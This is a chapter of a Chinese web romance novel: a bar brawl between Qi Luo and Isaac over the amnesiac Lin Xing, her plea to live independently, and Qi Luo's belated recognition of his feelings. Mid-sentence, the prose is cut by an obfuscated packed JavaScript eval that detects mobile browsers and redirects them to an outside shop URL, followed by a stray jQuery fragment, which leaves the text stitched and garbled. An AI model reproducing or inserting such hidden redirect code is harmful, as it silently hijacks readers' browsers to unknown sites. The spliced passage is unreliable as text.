祁洛直接越过艾萨克,要伸手去抓林星的手腕,艾萨克警觉地抬臂挡开:
“她是我罩着的——你又是谁?”
祁洛没有回答他的问题,手上使了力将人往一边拨去:
“林星,跟我回去。”
她是已死之人!
她不能频繁抛头露面,可能会被人认出来!
偏偏他什么都不能解释。
祁洛的动作越急躁,林星就越害怕,她像老鹰捉小鸡一样往鸡妈妈艾萨克身后躲:
“救我!”
艾萨克明白过来,骂了句含糊的粗话,身子更多地挡在了林星面前,青黑蛇形纹身一直蔓延到脖颈。
他的警惕姿态就像一条鳞片炸立、威胁天敌的眼镜蛇:
“回答我的问题,你算什么东西?凭什么带走她?”
他对着林星说话时温言软语,对着祁洛却凶相毕露,奔三的人身上不难看出专属于少年人的痞气,棱角张牙舞爪地支棱着,这么多年浸染红尘,竟然没被磨平一点。
他见祁洛靠近,直接伸手推搡他,警告他离林星远点儿。
祁洛想越过他去抓林星,基本不可能,甚至还被他推得差点撞在桌子上。
祁洛烦躁,没心思和他纠缠,索性使了巧力,趁他伸手再来推,单手抓握对方手腕,另一只手锁住脖子,出腿将人绊摔在沙发上。
艾萨克重重仰面摔倒,闷哼一声,祁洛趁他爬不起来,一只长腿暴戾踩在人腰窝,威胁性地碾了碾,垂眸冷冷看他:
“不要耽误我的时间。”
他的本意不是要动手,只是想叫对方知难而退。
谁知艾萨克摔倒的时候眼前冒了一瞬金星,随即血液里街头斗殴的凶悍被激起,喘着粗气,红了双眼,提气蓄力,一拳携着风声向祁洛脸上挥去,后者早有准备,侧头避让,又是几招之内将人撂倒在地。
在军队里千锤百炼出来的实用格斗术,和街头混混摸爬滚打的斗殴哲学,根本不是一个层次的东西,艾萨克完全不是祁洛的对手,刚开始几乎被压着打。
如果他老实认输也就罢了,可他每次都在祁洛想收手的时候,更狠厉地挑衅回去,用一种近乎自毁的打法,誓要从祁洛身上撕下一块肉来。
而且艾萨克在和祁洛的对打中并不是一味挨打,他一直在找时机反击,挨打的次数也越来越少——如果不能在对战中迅速学习,就无法在贫民窟那种地方活下来。
在揍人和被揍的反复拉锯下,艾萨克迅速成长。
祁洛本不想和人动手,他根本不是这种冲动的性子,可几件事情压到一起,加上艾萨克不依不饶的态度,让他为了避免被死缠烂打而受伤,只能先把对方揍到服气为止。
二人你来我往,祁洛游刃有余,艾萨克则拼尽全力,一时之间竟僵持不下。
林星想上去拉架,但是在疾风骤雨般的拳拳到肉中,根本插不进手,转头求助地望向一旁看好戏的简墨,对方却一脸兴味地看着自己的儿子和别人大打出手,甚至在察觉到林星的目光之后,饶有兴致地问她:
“你觉得谁会赢?”
疯了,疯了。
林星快要气昏古七了。
幸好在那之前,有个比她更有资格气昏古七的人登场:
“不许打了!再打我录视频了!送你们上热搜!
“都给我住手!”
林星回首,不知何时从二楼下来的,是她昨晚救下的女孩,也是这间酒吧的老板。
她说她叫黛莎。
祁洛听到声音,停了动作,艾萨克本想追击,被林星一把拉住手臂,他前倾的身体止住,回首看了她一眼,啧了声,收了手。
艾萨克从林星的描述中总结出,这个祁洛是个不怀好意的控制狂。
限制她出门,限制她工作,甚至还给她安定位器。
十足的变态!
他没有血缘关系的亲妹妹不能继续受这委屈!
于是在二人拉开距离后,艾萨克当机立断拉着林星跑了。
“哎!”
黛莎喊了一嗓子,却只见二人从后门迅速溜走的背影。
祁洛起身要去追,只听黛莎语气不善:
“你留下!刚刚打坏的桌椅,赔钱!”
刚才离得远,黛莎并未看清闹事的人是谁,等到下了楼梯,走近了,才冷笑一声:
“这不是祁少校吗?”
祁洛急着要去追人,没理她,只听黛莎加了一句:
“是你就更好了——按市场价双倍赔!”
是了。
黛莎是林星“死后”,不待见他的人之一。
祁洛觉得有些奇怪,林星之前和她算不上关系很好,甚至在他的认知里,二人连话都没说上几句。
她又是从哪里跳出来打抱不平的?
不过这些都不重要。
祁洛面无表情地扯了扯刚刚打架时弄乱的衣领,不欲纠缠,往后门快步走去:
“账单寄过来。”
就在这时,刚刚闭合的后门门扉,再度被从外打开。
林星被艾萨克拉着,神情凝重地退了回来。
陆觉通过天网查到这里,带着人手赶到,此时已经包围了酒吧。
正门和后门都被堵住。
他们插翅难逃。
“艾萨克哥哥……”林星非常冷静,知道自己一定会被抓回去,迅速附耳小声说了一串地址,“我现在住在那里,之后不知道还能不能正常出门,你——”
“够了。”祁洛从刚才开始,就一直对林星的回避态度感到费解,“林星,你还没有告诉我,为什么要逃。”
林星难堪地揪紧了艾萨克的衣袖。
她又在本能地依赖那个人了。
祁洛敏锐地察觉到。
“你……”林星不知道该怎么回答他。
我觉得你看我的眼神不清白。
这样说太自恋。
我不想掺和进一段乱七八糟的情感关系。
这样说又有点伤人。
我觉得你在控制我,叫我很不舒服。
有点矫情,在外人看来过于不知好歹了。
最终,林星慢慢从艾萨克身后走出,挑了个杀伤力最小的:
“我想工作,养活自己,不依靠任何人地活着。可是你不让我工作。”
“我不需要精致的公寓,华美的衣裳,源源不断的零食和高价雇佣的保姆。
“不需要以‘为你好’为名,构筑的华美城堡。”
我本是从风刀霜剑里成长起来的啊。
*荆棘刺破了我的双足,也组成了我的皇冠,
北风带走了我的体温,也强健了我的体魄。
群狼环伺叫我不得安眠,但也叫我不易沉沦。
长夜难明叫我不辨方向,但也叫我心火不灭。
不要给我华服和马车,给我铠甲与长剑。
我需要的不是沉坠的、密不透风的“好”,而是能让我时刻保持清醒、保持自我的“不好”。
我知道这在别人看来很古怪。
但,不行吗?
林星轻声问:
“我想要靠自己,堂堂正正活着,不行吗?”
祁洛长久地注视着她,好似从她坚毅面容上读出了未竟之语。
他想起了从前的那个林星。
虽然说是打着追他的名号而来,但她本人在工作和生活上的态度,也非常积极,在和他无关的事情上,也依然会抱持十二分的热诚与努力。
战后清点部,一个岗位,两万比一,有些人提前一年开始备考,她却只花了三个月。
她是以一介未受过正经教育的、底层出身的身份,从千军万马中杀出来的黑马。
当之无愧的万里挑一。
工作之余,似乎还在蛋糕店兼职打工。
蛋糕业务都发展到了单位,广受好评。
他教过她写字,她就能将字练成和他五分相像——
这必定要耗费大量时间去临摹与学习。
还有许多许多,他从前留意过的、不曾留意过的细节。
林星身上,总是有一种叫他望而生畏的生命力,像是不在乎自己燃烧了多少,她有十,就给你十,自己一分不留。
叫那个被畸形的家庭与伦常、不负责任的父母与过于诡谲的上流社会,磋磨得心态如同迟暮老人的他,久违地听到了心音的鼓动。
砰咚,砰咚。
安稳地、炽热地,重新开始跳动。
而且,不是从今天开始的。
是从,非常遥久的曾经。
想要。
很久之前,就想要了。
模糊的情绪一闪即逝,记忆里好像有纷纷扬扬的雪,还有背对着他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315183|150293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,披着北风行走在漫天飞雪中的女孩。
场景已经几乎被遗忘,只有那一刻的情绪,历久弥新。
啊。
是这样啊。
是他自欺欺人。
是他不愿步母亲后尘,在指定的未婚夫妻关系之外,横生枝节。
是他不识好歹,循着长辈给他选定的、自以为正确的道路,深信不疑地往前走着,将她一次次捧上来的一颗满溢炽热的真心,弃若敝履,摔得粉碎。
她一次次粘起来,又一次次送到他手中,给他打碎,像是推石头的西西弗斯,不知疲倦。
如今她将这一切全都忘记了。
她解脱了,不必再推石头了。
那他呢?
记得这一切的他,要怎么办!?
他怎么能够当作无事发生,当作毫不知情?
林星解脱了,他却坠入了深渊。
他终于敢承认,自己没想象中那么毫不在意——在她不要他之后。
巨大恐慌席卷心头,有来自现在这个祁洛的,也有过去的少年祁洛残留的强烈情感。
它们蛰伏许久,一向安分,却在此时一并造访,来势汹汹,冲垮了祁洛过高的心理防线。
千里之堤,在长年累月的侵蚀下,终于裂开一口,最终溃不成军。
察觉到自己心意的祁洛,再也不敢自欺欺人。
他上前一步,视线柔和地笼罩着她,声音似哄劝,姿态放得很低:
“你跟我回去,你想做什么,都可以。”
林星不知他打的什么算盘,依旧警惕:
“不必了。我有地方住,等我赚到钱,会把租金和伙食费打给你……”
说到这里,又像想起什么一般,补充道:
“但要等我买了终端之后。或者直接给你现金。”
祁洛默了默,有些艰涩地问道:
“你打算住在哪里?”
视线隐晦瞥向艾萨克。
是要跟他住在一起吗?
他们是什么关系?
但他不敢问。
她失忆了,却偏偏记得这个男人。
这足以说明,这个男人很重要。
比他重要。
一股新鲜的、难言的酸涩从心头涌上,祁洛暂时还想不明白自己是怎么了。
明明他的情绪通常不会被这点小事左右。
可就在踏入这家酒吧之后,所有的一切好像都不受控制了。
林星困惑于他反常的服软,转头和艾萨克对视一眼:
“我暂时住艾萨克哥哥家。”
意料之中的答案。
祁洛扯了扯嘴角,本想露出个讽刺的笑,却在触及林星目光的一瞬,生生压下。
他明白该用怎样的话术说服林星:
“你想摆摊,市中心的夜市是最好的选择,那里客流量大,治安也好,进货也方便。如果你要住在这附近,不说治安——”
说着,他意味深长地打量了一番凌乱的酒吧内部:
“你又能找到什么像样的工作呢?”
一旁的黛莎翻了个白眼。
她没认出林星,只觉得祁少校今天是吃错药了,大费周章地到她店里抓人,打架,还在这里贬低她的选址。
呸,渣男。
一旁的林星闻言,沉默片刻。
她不得不承认,祁洛说得对。
可她还是不想回——
“如果你愿意回去住,你要做什么,我都不干涉你。”
祁洛走近一步,语气前所未有地柔和,向来冷硬的眸光软下来,竟带了丝不易察觉的小心翼翼。
这在不可一世的祁少校身上简直是千载难逢。
一旁看着的简墨已经开始掏终端录像了,在接收到儿子投射过来的冰冷目光后,才举起双手做投降状。
对林星就是好言相劝。
对亲妈就是重拳出击。
双标。
林星还在犹疑,对于祁洛这样的让步感到困惑:
“你没必要这样帮我的。我们只是朋友不是吗?不管是过度干涉也好,这样上赶着帮我也好……这都超出了朋友的范畴,不是吗?”
“……”
祁洛无法反驳。
最初是他撒谎,说他们只是朋友关系。
如今被她拿来质问他,也是理所应当。